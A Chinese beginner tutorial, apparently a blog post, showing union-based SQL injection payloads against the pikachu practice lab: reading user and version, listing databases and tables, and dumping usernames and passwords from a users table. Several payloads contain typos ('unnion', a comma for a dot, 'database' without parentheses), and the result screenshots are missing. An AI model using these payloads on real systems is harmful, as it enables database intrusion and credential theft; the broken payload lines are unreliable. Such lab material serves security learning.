【新手初学】读取数据库数据

利用注入点让SQL注入语句执行读取数据库数据相关的操作!

以下均以pikachu 靶场的字符型注入为例进行介绍说明

一、读取用户名,数据库版本信息

在原URL后面添加如下代码:

sql 复制代码
   ' union select user(),version()--+

效果:

补充:判断查询的字段个数order by

这时,就需要在相应环境下进行测试判断:主要是使用order by来判断

在后面添加1,2,3,4,5,6....进行测试,直到不再报错 !就判断出了其查询字段个数

如下:

二、读取mysql所有库名

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(schema_name) from information_schema,schemata+--+

效果:

三、读取pikachu库的所有表名

在原URL后面添加如下语句:

sql 复制代码
'unnion select 1,group_concat(table_name) from information_schema.tables where table_schema=database+--+

效果:

四、读取所有字段数据

在原URL后面添加如下语句:

sql 复制代码
' union select 1,group_concat(id,0x7c,username,0x7c,password,0x7c,level,0x7c) from users+--+

效果:

相关推荐
瀚高PG实验室1 分钟前
开发管理工具打不开No way to find ori gi nal streamhand er for jar protocol
java·数据库·jar·瀚高数据库
明月_清风7 分钟前
2026 前端生存指南:8 个正在重塑你职业生涯的技术趋势
前端·ai编程
__zRainy__9 分钟前
Redis系列:缓存抽象封装与最佳实践
数据库·redis·缓存
ZTStory15 分钟前
Volta 新一代 node 版本管理工具
前端·javascript·node.js
cen__y16 分钟前
Linux13(数据库)
linux·服务器·c语言·开发语言·数据库
不易_27 分钟前
我的 AI 驱动开发工作流:基于 Cursor 的全流程实战开发方法论
前端·架构
许彰午38 分钟前
32 个 Vue 组件的设计取舍
前端·javascript·vue.js
__zRainy__39 分钟前
Redis系列:核心数据类型与基础 API 解读
数据库·redis·缓存
dfdvervdv1 小时前
Vue3 + Element Plus 表单校验踩坑:为什么我写的规则不生效?
前端
Rhi6371 小时前
第 5 篇:用React-Leaflet 做充电桩地图监控,实现实时状态
前端